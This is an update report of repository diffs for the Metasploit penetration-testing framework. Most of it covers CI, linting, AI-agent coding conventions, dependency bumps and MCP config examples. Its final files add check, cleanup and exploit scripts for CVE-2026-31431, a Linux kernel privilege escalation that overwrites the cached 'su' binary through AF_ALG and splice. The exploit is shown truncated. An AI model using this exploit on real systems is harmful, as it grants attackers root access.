Update report

Defer loading rex/metasm/octokit/etc dependencies

.github/copilot-instructions.md

@@ -0,0 +1,3 @@
+# Copilot Instructions
+
+Refer to [AGENTS.md](../AGENTS.md) in the repository root for all project conventions, coding standards, and AI agent guidelines.

.github/workflows/lint.yml

@@ -62,3 +62,7 @@ jobs:
           ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
           ls -la ./.git/hooks
           ./.git/hooks/post-merge
+
+      - name: Verify encoding
+        run: |
+          bundle exec ruby tools/dev/verify_encoding.rb

.github/workflows/shared_gem_verify_rails.yml

@@ -12,9 +12,37 @@ on:
         required: false
         default: "[]"
         type: string
+      additional_rails_versions:
+        description: 'Additional Rails version requirements as a JSON array (for example: ["~> 8.1.0"])'
+        required: false
+        default: "[]"
+        type: string
+        # Caller example:
+        # with:
+        #   additional_rails_versions: '["~> 8.1.0", "~> 8.2.0"]'
 
 jobs:
+  prepare_matrix:
+    runs-on: ubuntu-latest
+    outputs:
+      rails_versions: ${{ steps.merge_rails_versions.outputs.rails_versions }}
+    steps:
+      - name: Build Rails version matrix
+        id: merge_rails_versions
+        run: |
+          default_rails_versions='["~> 7.0.0","~> 7.1.0","~> 7.2.0"]'
+          additional_rails_versions='${{ inputs.additional_rails_versions }}'
+
+          rails_versions=$(jq -cn \
+            --argjson defaults "$default_rails_versions" \
+            --argjson extras "$additional_rails_versions" \
+            '$defaults + $extras | unique')
+
+          echo "rails_versions=$rails_versions" >> "$GITHUB_OUTPUT"
+        shell: bash
+
   test:
+    needs: prepare_matrix
     runs-on: ${{ matrix.os }}
     timeout-minutes: 40
 
@@ -25,18 +53,16 @@ jobs:
           - '3.2'
           - '3.3'
           - '3.4'
-        rails:
-          - '~> 7.0.0'
-          - '~> 7.1.0'
-          - '~> 7.2.0'
+        rails: ${{ fromJSON(needs.prepare_matrix.outputs.rails_versions) }}
         postgres:
-          - '9.6'
+          - '14.19'
           - '16.8'
         os:
           - ubuntu-latest
 
     env:
       RAILS_ENV: test
+      RAILS_VERSION: ${{ matrix.rails }}
 
     name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - Rails ${{ matrix.rails }} - PostgreSQL ${{ matrix.postgres }}
     steps:

.github/workflows/shared_meterpreter_acceptance.yml

@@ -112,8 +112,18 @@ jobs:
         if: runner.os == 'Linux'
         run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
 
-      - uses: shivammathur/setup-php@c541c155eee45413f5b09a52248675b1a2575231
-        if: ${{ matrix.meterpreter.name == 'php' }}
+      # Use setup-php@2.31.1 for Windows (PHP 5.3 on windows-2022 is broken with later versions while PHP 7.4 and 8.3
+      # are broken on MacOS with this version)
+      - name: Use setup-php@2.31.1 to install PHP for Windows runners
+        uses: shivammathur/setup-php@c541c155eee45413f5b09a52248675b1a2575231
+        if: ${{ matrix.meterpreter.name == 'php' && runner.os == 'Windows' }}
+        with:
+          php-version: ${{ matrix.meterpreter.runtime_version }}
+          tools: none
+
+      - name: Use setup-php@2.37.0 to install PHP for non-Windows runners
+        uses: shivammathur/setup-php@accd6127cb78bee3e8082180cb391013d204ef9f
+        if: ${{ matrix.meterpreter.name == 'php' && runner.os != 'Windows' }}
         with:
           php-version: ${{ matrix.meterpreter.runtime_version }}
           tools: none
@@ -274,21 +284,21 @@ jobs:
         run: |
           Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
           dir
-          $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
-          $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
-          $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
-          $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
-          if ($process.ExitCode -eq 0) {
-            Write-Host "components have been successfully added"
-          } else {
-            Write-Host "components were not installed"
-            exit 1
-          }
-          Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
-          $r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
-          Write-Host $r
-          $r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
-          Write-Host $r
+        # $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
+        # $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
+        # $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
+        # $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
+        # if ($process.ExitCode -eq 0) {
+        #   Write-Host "components have been successfully added"
+        # } else {
+        #   Write-Host "components were not installed"
+        #   exit 1
+        # }
+        # Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
+        # $r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
+        # Write-Host $r
+        # $r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
+        # Write-Host $r
         working-directory: metasploit-payloads
 
       - name: Build Windows payloads via Visual Studio 2025 Build (Windows)

.kiro/steering/project.md

@@ -0,0 +1,12 @@
+---
+inclusion: always
+---
+
+# Metasploit Framework — Kiro Steering
+
+Follow the project's AI agent instructions and coding conventions defined in the repository root.
+
+## References
+- AI agent instructions: #[[file:AGENTS.md]]
+- Contributing guide: #[[file:CONTRIBUTING.md]]
+- RuboCop config: #[[file:.rubocop.yml]]

.rubocop.yml

@@ -25,6 +25,8 @@ require:
   - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
   - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb
   - ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb
+  - ./lib/rubocop/cop/lint/datastore_srvhost_usage.rb
+  - ./lib/rubocop/cop/lint/bare_check_code_in_non_exploit.rb
 
 Layout/SpaceBeforeBrackets:
   Enabled: true
@@ -683,3 +685,14 @@ Lint/DetectOutdatedCmdExecApi:
     Detects outdated usage of cmd_exec with separate arguments.
     Use `create_process(executable, args: [], time_out: 15, opts: {})` API with an args array instead.
   Enabled: true
+
+Lint/BareCheckCodeInNonExploit:
+  Description: >-
+    Use Exploit::CheckCode instead of bare CheckCode in non-exploit modules.
+    Bare CheckCode will raise a NameError at runtime in auxiliary, post, and evasion modules
+    because CheckCode is defined inside Msf::Exploit which is not in their ancestor chain.
+  Enabled: true
+  Include:
+    - 'modules/auxiliary/**/*'
+    - 'modules/post/**/*'
+    - 'modules/evasion/**/*'

AGENTS.md

@@ -0,0 +1,122 @@
+# AI Agent Instructions for Metasploit Framework
+
+## Project Overview
+
+Metasploit Framework is an open-source penetration testing and exploitation framework written in Ruby. It provides infrastructure for developing, testing, and executing exploit code against remote targets.
+
+## Project Structure
+
+- `modules/` — Metasploit modules (exploits, auxiliary, post, payloads, encoders, evasion, nops)
+- `lib/msf/` — Core framework library code
+- `lib/rex/` — Rex (Ruby Exploitation) library
+- `lib/metasploit/` — Metasploit namespace libraries
+- `data/` — Data files used by modules (wordlists, templates, binaries)
+- `spec/` — RSpec test suite
+- `tools/` — Developer and operational tools
+- `plugins/` — msfconsole plugins
+- `scripts/` — Example automation scripts
+
+## Coding Conventions
+
+- Ruby (see `.ruby-version` for the current version). Minimum supported: 3.1+
+- Follow the project's `.rubocop.yml` configuration — run `rubocop` on changed files before submitting
+- Run `ruby tools/dev/msftidy.rb <module_file_path>` to catch common module issues
+- Add `# frozen_string_literal: true` to new files (the RuboCop cop is disabled project-wide for legacy code, but new files should include it)
+- No enforced line length limit, but keep code readable
+- Use `%q{}` for long multi-line strings (curly braces preferred for module descriptions)
+- Multiline block comments are acceptable for embedded code snippets/payloads
+- Don't use `get_`/`set_` prefixes for accessor methods in new code
+- Method parameter names must be at least 2 characters (exception for well-known crypto abbreviations)
+
+### Module Development
+
+- Prefer writing modules in Ruby. Go and Python modules are accepted, but their external runtimes don't support the full framework API (e.g. network pivoting). Ruby modules do not have this limitation
+- Prefer using hash over an array for return values, and use kwargs for reusable APIs for future extensions
+- Before writing a new module, check that there is not an existing module or open pull request that already covers the same functionality
+- Each module should be in its own file under the appropriate `modules/` subdirectory. In some scenarios adding module actions or targets is preferred.
+- Exploits require a `DisclosureDate` field
+- Exploits, auxiliary, and post modules require `Notes` with `SideEffects`
+- Use the module mixin APIs — don't reinvent the wheel
+- Use `create_process(executable, args: [], time_out: 15, opts: {})` instead of the deprecated `cmd_exec` with separate arguments
+- License new code with `MSF_LICENSE` (the project default, defined in `lib/msf/core/constants.rb`)
+- When overriding `cleanup`, always call `super` to ensure the parent mixin chain cleans up connections and sessions properly
+- When possible don't set a default payload (`DefaultOptions` with `'PAYLOAD'`) in modules — let the framework choose the most appropriate payload automatically
+- New modules require an associated markdown file in the `documentation/modules` folder with the same structure, including steps to set up the vulnerable environment for testing
+- Module descriptions or documentation should list the range of vulnerable versions and the fixed version of the affected software, when known
+- `report_service` method called when a service can be reported
+- `report_vuln` method called when a vuln can be reported
+- When creating a fake account / username use FAKER not `rand_test_alphanumeric`
+- Always use `res.get_json_document` to convert an HTTP response to a hash instead of calling `JSON.parse(res.body)`
+- If there's only one `ACTION` in the exploit, it can likely be omitted.
+- `Msf::Exploit::SQLi` should be used if it's exploiting an SQLi
+- All `print_*` calls should start with a capital
+- when opening a file, make sure the file exists first
+- when checking for a string in a response - will it always be in english?
+- Ensure hardcoded strings being regex'ed will be consistent across multiple versions
+- Use the TEST-NET-1 range for example / non-routeable IP addresses in unit tests and spec files: `192.0.2.0`. Local/private IPs are fine in module documentation scenarios.
+- Use fetch payload instead of command stagers when only options that request the stage are available (i.e. don’t use a cmd stager and only allow curl/wget).
+- Define bad characters instead of explicitly base-64 encoding payloads
+- Use `ARCH_CMD` payloads instead of command stagers when only curl/wget and other download mechanisms would be available
+- Don’t check the number of sessions at the end of an exploit and report success based on that, not all payloads open sessions
+- Don’t submit any kind of opaque binary blob, everything must include source code and build instructions
+- Don’t print host information like `#{ip}:#{port}` because it doesn’t handle IPv6 addresses, instead use `#{Rex::Socket.to_authority(ip, port)}`
+- Implement a `check` method when possible to allow users to verify vulnerability before exploitation
+
+### Check Methods
+
+- `check` methods must only return `CheckCode` values (e.g. `CheckCode::Vulnerable`, `CheckCode::Safe`) — never raise exceptions or call `fail_with`
+- When writing a `check` method, verify it does not produce false positives when run against unrelated software or services
+- Prefer using `Rex::Version` for version checks
+- Use `fail_with(Failure::UnexpectedReply, '...')` (and other `Failure::*` constants) to bail out of `exploit`/`run` methods — don't use `raise` or bare `return` for error conditions
+- `get_version` methods should return a REX version
+- `CheckCode::Vulnerable` is only used when the vulnerability has been exploited
+- `CheckCode::Appears`  is only used when the application's versions has been checked`
+- Use specific regular expressions or `res.get_html_document` for version extraction with CSS selectors. Don't use a generic selectors like `href .*` dot star to grab the version, be more precise.
+- Do catch exceptions that may be raised and ensure a valid Check Code is returned
+- Do research and determine a minimum version where the application is vulnerable, mark prior versions as safe
+- Check helper methods that are used by both `#check` and `#exploit` (or `#run`) and make sure there is no condition (exception, return, etc) where `#check` could return something else than CheckCode.
+- Prefer `prepend Msf::Exploit::Remote::AutoCheck` over manually calling `check` inside `exploit` — this lets the framework handle check-before-exploit automatically
+
+### Library Code
+
+- When adding complex binary or protocol parsing (e.g. BinData, RASN1, Rex::Struct2), include a code comment linking to the specification or RFC that defines the format being implemented
+- Write RSpec tests for any library changes
+- Follow [Better Specs](http://www.betterspecs.org/) conventions
+- Write YARD documentation for public methods
+- Keep PRs focused — small fixes are easier to review
+- Any new hash cracking implementations require adding a test hash to `tools/dev/hash_cracker_validator.rb` and ensuring that passes without error
+
+### Testing
+
+- Tests live in `spec/` mirroring the `lib/` structure
+- Run tests with: `bundle exec rspec spec/path/to/spec.rb`
+
+### Preferred Libraries
+
+- Use the `RubySMB` library for SMB modules
+- Use `Rex::Stopwatch.elapsed_time` to track elapsed time
+- Use the `Rex::MIME::Message` class for MIME messages instead of hardcoding XML
+- When creating random variable names prefer `Rex::RandomIdentifier::Generator` and specify the runtime language used. This avoids generating langauge keywords that would break the script.
+
+## Common Patterns
+
+- Register options with `register_options` and `register_advanced_options`
+- Use `SCREAMING_SNAKE_CASE` option names and `CamelCase` advanced option names
+- Use `datastore['OPTION_NAME']` to access module options
+- Use `print_status`, `print_good`, `print_error`, `print_warning` for console output
+- Use `vprint_*` variants for verbose-only output
+- Use `send_request_cgi` for HTTP requests in modules
+- Use `connect` / `disconnect` for TCP socket operations
+
+## Before Submitting
+
+- Ensure `rubocop` and `msftidy` pass on any changed files with no new offenses
+- Ensure `ruby tools/dev/msftidy_docs.rb <documentation_file>` passes on any changed documentation markdown docs with no new offenses
+
+## What NOT to Do
+
+- Don't submit untested code — all code must be manually verified
+- Don't include sensitive information (IPs, credentials, API keys, hashes of credentials) in code or docs
+- Don't include more than one module per pull request
+- Don't add new scripts to `scripts/` — use post modules instead
+- Don't use `pack`/`unpack` with invalid directives (enforced by linter)

CONTRIBUTING.md

@@ -15,7 +15,7 @@ Before we get into the details of contributing code, you should know there are m
 
 
 ## Code Contributions
-For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
+For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. For a detailed reference of our coding conventions, project structure, and preferred patterns, see [AGENTS.md](./AGENTS.md). Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
 
 Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
 

Gemfile

@@ -53,5 +53,7 @@ group :test do
   gem 'allure-rspec'
   # Manipulate Time.now in specs
   gem 'timecop'
+  # stub and set expectations on HTTP requests
+  gem 'webmock', '~> 3.18'
 end
 

Gemfile.lock

@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.113)
+    metasploit-framework (6.4.132)
       aarch64
       abbrev
       actionpack (~> 7.2.0)
@@ -42,12 +42,13 @@ PATH
       jsobfu
       json
       lru_redux
+      mcp (= 0.13.0)
       metasm
       metasploit-concern
-      metasploit-credential
+      metasploit-credential (>= 6.0.21)
       metasploit-model
-      metasploit-payloads (= 2.0.240)
-      metasploit_data_models (>= 6.0.7)
+      metasploit-payloads (= 2.0.245)
+      metasploit_data_models (>= 6.0.15)
       metasploit_payloads-mettle (= 1.0.46)
       mqtt
       msgpack (~> 1.6.0)
@@ -102,7 +103,7 @@ PATH
       rinda
       ruby-macho
       ruby-mysql
-      ruby_smb (~> 3.3.15)
+      ruby_smb (~> 3.3.17)
       rubyntlm
       rubyzip
       sinatra (~> 3.2)
@@ -211,7 +212,7 @@ GEM
     bcrypt (3.1.20)
     bcrypt_pbkdf (1.1.1)
     benchmark (0.4.1)
-    bigdecimal (3.2.3)
+    bigdecimal (3.3.1)
     bindata (2.4.15)
     bootsnap (1.18.4)
       msgpack (~> 1.2)
@@ -223,6 +224,9 @@ GEM
     concurrent-ruby (1.3.5)
     connection_pool (2.5.4)
     cookiejar (0.3.4)
+    crack (1.0.1)
+      bigdecimal
+      rexml
     crass (1.0.6)
     csv (3.3.2)
     daemons (1.4.1)
@@ -281,6 +285,7 @@ GEM
     gyoku (1.4.0)
       builder (>= 2.1.2)
       rexml (~> 3.0)
+    hashdiff (1.2.1)
     hashery (2.1.2)
     hrr_rb_ssh (0.4.2)
     hrr_rb_ssh-ed25519 (0.4.2)
@@ -304,6 +309,9 @@ GEM
     jsobfu (0.4.2)
       rkelly-remix
     json (2.15.1)
+    json-schema (6.2.0)
+      addressable (~> 2.8)
+      bigdecimal (>= 3.1, < 5)
     language_server-protocol (3.17.0.5)
     license_finder (5.11.1)
       bundler
@@ -322,6 +330,8 @@ GEM
       crass (~> 1.0.2)
       nokogiri (>= 1.12.0)
     lru_redux (1.1.0)
+    mcp (0.13.0)
+      json-schema (>= 4.1)
     memory_profiler (1.1.0)
     metasm (1.0.5)
     metasploit-concern (5.0.5)
@@ -331,7 +341,7 @@ GEM
       mutex_m
       railties (~> 7.0)
       zeitwerk
-    metasploit-credential (6.0.20)
+    metasploit-credential (6.0.23)
       bigdecimal
       csv
       drb
@@ -352,18 +362,18 @@ GEM
       drb
       mutex_m
       railties (~> 7.0)
-    metasploit-payloads (2.0.240)
-    metasploit_data_models (6.0.12)
-      activerecord (~> 7.0)
-      activesupport (~> 7.0)
+    metasploit-payloads (2.0.245)
+    metasploit_data_models (6.0.18)
+      activerecord (>= 7.0, < 8.1)
+      activesupport (>= 7.0, < 8.1)
       arel-helpers
       bigdecimal
       drb
       metasploit-concern
-      metasploit-model (~> 5.0.4)
+      metasploit-model (>= 5.0.4)
       mutex_m
       pg
-      railties (~> 7.0)
+      railties (>= 7.0, < 8.1)
       recog
       webrick
     metasploit_payloads-mettle (1.0.46)
@@ -491,14 +501,14 @@ GEM
       netrc (~> 0.8)
     rex-arch (0.1.19)
       rex-text
-    rex-bin_tools (0.1.10)
+    rex-bin_tools (0.1.16)
       metasm
       rex-arch
       rex-core
       rex-struct2
       rex-text
-    rex-core (0.1.35)
-    rex-encoder (0.1.8)
+    rex-core (0.1.36)
+    rex-encoder (0.1.10)
       metasm
       rex-arch
       rex-text
@@ -531,7 +541,7 @@ GEM
       metasm
       rex-core
       rex-text
-    rex-socket (0.1.64)
+    rex-socket (0.1.65)
       dnsruby
       rex-core
     rex-sslscan (0.1.13)
@@ -539,7 +549,7 @@ GEM
       rex-socket
       rex-text
     rex-struct2 (0.1.5)
-    rex-text (0.2.61)
+    rex-text (0.2.62)
       bigdecimal
     rex-zip (0.1.6)
       rex-text
@@ -593,7 +603,7 @@ GEM
     ruby-progressbar (1.13.0)
     ruby-rc4 (0.1.5)
     ruby2_keywords (0.0.5)
-    ruby_smb (3.3.15)
+    ruby_smb (3.3.17)
       bindata (= 2.4.15)
       openssl-ccm
       openssl-cmac
@@ -649,6 +659,10 @@ GEM
     useragent (0.16.11)
     warden (1.2.9)
       rack (>= 2.0.9)
+    webmock (3.26.2)
+      addressable (>= 2.8.0)
+      crack (>= 0.3.2)
+      hashdiff (>= 0.4.0, < 2.0.0)
     webrick (1.9.1)
     websocket-driver (0.7.7)
       base64
@@ -699,6 +713,7 @@ DEPENDENCIES
   simplecov (= 0.18.2)
   test-prof
   timecop
+  webmock (~> 3.18)
   yard
 
 BUNDLED WITH

LICENSE_GEMS

@@ -27,7 +27,7 @@ base64, 0.3.0, "ruby, Simplified BSD"
 bcrypt, 3.1.20, MIT
 bcrypt_pbkdf, 1.1.1, MIT
 benchmark, 0.4.1, "ruby, Simplified BSD"
-bigdecimal, 3.2.3, "ruby, Simplified BSD"
+bigdecimal, 3.3.1, "ruby, Simplified BSD"
 bindata, 2.4.15, "Simplified BSD"
 bootsnap, 1.18.4, MIT
 bson, 5.1.1, "Apache 2.0"
@@ -39,6 +39,7 @@ coderay, 1.1.3, MIT
 concurrent-ruby, 1.3.5, MIT
 connection_pool, 2.5.4, MIT
 cookiejar, 0.3.4, "Simplified BSD"
+crack, 1.0.1, MIT
 crass, 1.0.6, MIT
 csv, 3.3.2, "ruby, Simplified BSD"
 daemons, 1.4.1, MIT
@@ -71,6 +72,7 @@ forwardable, 1.3.3, "ruby, Simplified BSD"
 getoptlong, 0.2.1, "ruby, Simplified BSD"
 gssapi, 1.3.1, MIT
 gyoku, 1.4.0, MIT
+hashdiff, 1.2.1, MIT
 hashery, 2.1.2, "Simplified BSD"
 hrr_rb_ssh, 0.4.2, "Apache 2.0"
 hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
@@ -85,6 +87,7 @@ irb, 1.15.2, "ruby, Simplified BSD"
 jmespath, 1.6.2, "Apache 2.0"
 jsobfu, 0.4.2, "New BSD"
 json, 2.15.1, ruby
+json-schema, 6.2.0, MIT
 language_server-protocol, 3.17.0.5, MIT
 license_finder, 5.11.1, MIT
 lint_roller, 1.1.0, MIT
@@ -93,14 +96,15 @@ logger, 1.7.0, "ruby, Simplified BSD"
 logging, 2.4.0, MIT
 loofah, 2.24.1, MIT
 lru_redux, 1.1.0, MIT
+mcp, 0.13.0, "Apache 2.0"
 memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
 metasploit-concern, 5.0.5, "New BSD"
-metasploit-credential, 6.0.19, "New BSD"
-metasploit-framework, 6.4.113, "New BSD"
+metasploit-credential, 6.0.21, "New BSD"
+metasploit-framework, 6.4.132, "New BSD"
 metasploit-model, 5.0.4, "New BSD"
-metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD"
-metasploit_data_models, 6.0.9, "New BSD"
+metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
+metasploit_data_models, 6.0.18, "New BSD"
 metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD"
 method_source, 1.1.0, MIT
 mime-types, 3.7.0, MIT
@@ -167,8 +171,8 @@ reline, 0.6.2, ruby
 require_all, 3.0.0, MIT
 rest-client, 2.1.0, MIT
 rex-arch, 0.1.19, "New BSD"
-rex-bin_tools, 0.1.10, "New BSD"
-rex-core, 0.1.35, "New BSD"
+rex-bin_tools, 0.1.16, "New BSD"
+rex-core, 0.1.36, "New BSD"
 rex-encoder, 0.1.8, "New BSD"
 rex-exploitation, 0.1.44, "New BSD"
 rex-java, 0.1.8, "New BSD"
@@ -182,7 +186,7 @@ rex-rop_builder, 0.1.6, "New BSD"
 rex-socket, 0.1.64, "New BSD"
 rex-sslscan, 0.1.13, "New BSD"
 rex-struct2, 0.1.5, "New BSD"
-rex-text, 0.2.61, "New BSD"
+rex-text, 0.2.62, "New BSD"
 rex-zip, 0.1.6, "New BSD"
 rexml, 3.4.1, "Simplified BSD"
 rinda, 0.2.0, "ruby, Simplified BSD"
@@ -202,7 +206,7 @@ ruby-prof, 1.7.2, "Simplified BSD"
 ruby-progressbar, 1.13.0, MIT
 ruby-rc4, 0.1.5, MIT
 ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
-ruby_smb, 3.3.15, "New BSD"
+ruby_smb, 3.3.17, "New BSD"
 rubyntlm, 0.6.5, MIT
 rubyzip, 2.4.1, "Simplified BSD"
 sawyer, 0.9.2, MIT
@@ -233,6 +237,7 @@ unicode-emoji, 4.1.0, MIT
 unix-crypt, 1.3.1, 0BSD
 useragent, 0.16.11, MIT
 warden, 1.2.9, MIT
+webmock, 3.26.2, MIT
 webrick, 1.9.1, "ruby, Simplified BSD"
 websocket-driver, 0.7.7, "Apache 2.0"
 websocket-extensions, 0.1.5, "Apache 2.0"

config/mcp_config.yaml.example

@@ -0,0 +1,33 @@
+# Metasploit RPC API connection (MessagePack)
+msf_api:
+  type: messagepack
+  host: localhost
+  port: 55553
+  ssl: true
+  endpoint: /api/
+  user: msfuser
+  password: CHANGEME
+  auto_start_rpc: true  # Automatically start the RPC server if not running (default: true)
+
+# MCP server configuration
+mcp:
+  transport: stdio  # stdio (default) or http
+  # MCP server network configuration (for HTTP transport only)
+  host: localhost  # Host to bind to (default: localhost)
+  port: 3000       # Port to listen on (default: 3000)
+
+# Rate limiting (optional - defaults shown)
+rate_limit:
+  enabled: true
+  requests_per_minute: 60
+  # If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
+  # For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
+  # but then would be limited to 5 requests per minute thereafter.
+  burst_size: 10
+
+# Logging (optional - defaults shown)
+logging:
+  enabled: false
+  level: INFO  # DEBUG, INFO, WARN, ERROR
+  log_file: ~/.msf4/logs/msfmcp.log
+  sanitize: true

config/mcp_config_jsonrpc.yaml.example

@@ -0,0 +1,32 @@
+# Metasploit RPC API connection (JSON-RPC)
+msf_api:
+  type: json-rpc
+  host: localhost
+  port: 8081
+  ssl: true
+  endpoint: /api/v1/json-rpc
+  token: YOUR_BEARER_TOKEN_HERE
+  # auto_start_rpc is not supported for JSON-RPC (only MessagePack)
+
+# MCP server configuration
+mcp:
+  transport: stdio  # stdio (default) or http
+  # MCP server network configuration (for HTTP transport only)
+  host: localhost  # Host to bind to (default: localhost)
+  port: 3000       # Port to listen on (default: 3000)
+
+# Rate limiting (optional - defaults shown)
+rate_limit:
+  enabled: true
+  requests_per_minute: 60
+  # If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
+  # For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
+  # but then would be limited to 5 requests per minute thereafter.
+  burst_size: 10
+
+# Logging (optional - defaults shown)
+logging:
+  enabled: false
+  level: INFO  # DEBUG, INFO, WARN, ERROR
+  log_file: ~/.msf4/logs/msfmcp.log
+  sanitize: true

data/bofloader/logo.txt

@@ -0,0 +1,11 @@
+meterpreter
+    ▄▄▄▄    ▒█████    █████▒
+    ▓█████▄ ▒██▒  ██▒▓██   ▒
+    ▒██▒ ▄██▒██░  ██▒▒████ ░
+    ▒██░█▀  ▒██   ██░░▓█▒  ░
+    ░▓█  ▀█▓░ ████▓▒░░▒█░
+    ░▒▓███▀▒░ ▒░▒░▒░  ▒ ░
+    ▒░▒   ░   ░ ▒ ▒░  ░     ~ by @kev169, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
+    ░    ░ ░ ░ ░ ▒   ░ ░
+    ░          ░ ░  loader
+        ░

data/exploits/CVE-2026-31431/CVE-2026-31431-check.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+import os
+import socket
+import sys
+
+AF_ALG = 38
+ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"
+
+def check():
+    if not os.path.exists('/proc/crypto'):
+        print('[-] /proc/crypto is missing.')
+        return
+
+    try:
+        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
+    except OSError as e:
+        print('[-] AF_ALG socket family unavailable (' + e.strerror + ').')
+        return
+
+    try:
+        s.bind(("aead", ALG_NAME))
+    except OSError as e:
+        print('[-] ' + repr(ALG_NAME) + ' can not be instantiated (' + e.strerror + ').')
+        return
+    finally:
+        s.close()
+
+    print('[+] The exploit socket has been created, encryption primitives are available.')
+    return True
+
+if __name__ == '__main__':
+    if not check():
+        sys.exit(1)

data/exploits/CVE-2026-31431/CVE-2026-31431-cleanup.py

@@ -0,0 +1,9 @@
+import os
+import shutil
+
+su_path = shutil.which('su')
+su_fd = os.open(su_path, os.O_RDONLY)
+try:
+    os.posix_fadvise(su_fd, 0, 0, os.POSIX_FADV_DONTNEED)
+finally:
+    os.close(su_fd)

data/exploits/CVE-2026-31431/CVE-2026-31431.py

@@ -0,0 +1,56 @@
+#!/usr/bin/env python3
+import os
+import base64
+import shutil
+import socket
+import sys
+import zlib
+
+AF_ALG = 38
+ALG_SET_KEY = 1
+ALG_SET_IV = 2
+ALG_SET_OP = 3
+ALG_SET_AEAD_ASSOCLEN = 4
+ALG_SET_AEAD_AUTHSIZE = 5
+SOL_ALG = 279
+
+def setup_sock():
+    sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
+    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
+    sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "0" * 64))
+    sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
+    op_sock, _ = sock.accept()
+    return op_sock
+
+def write(op_sock, su_fd, offset, chunk):
+    op_sock.sendmsg(
+        [b"A" * 4 + chunk],
+        [
+            (SOL_ALG, ALG_SET_OP, b'\x00\x00\x00\x00'),
+            (SOL_ALG, ALG_SET_IV, b'\x10' + b'\x00' * 19),
+            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b'\x08\x00\x00\x00')
+        ],
+        32768
+    )
+    r, w = os.pipe()
+    os.splice(su_fd, w, offset + 4, offset_src=0)
+    os.splice(r, op_sock.fileno(), offset + 4)
+    try:
+        op_sock.recv(8 + offset)
+    except:
+        pass
+
+su_path = shutil.which('su')
+su_fd = os.open(su_path, os.O_RDONLY)
+try:
+    elf = zlib.decompress(base64.standard_b64decode(sys.argv[1]))
+except:
+    print('[-] failed to load the ELF executable from the argument, it must be base64+gzip')
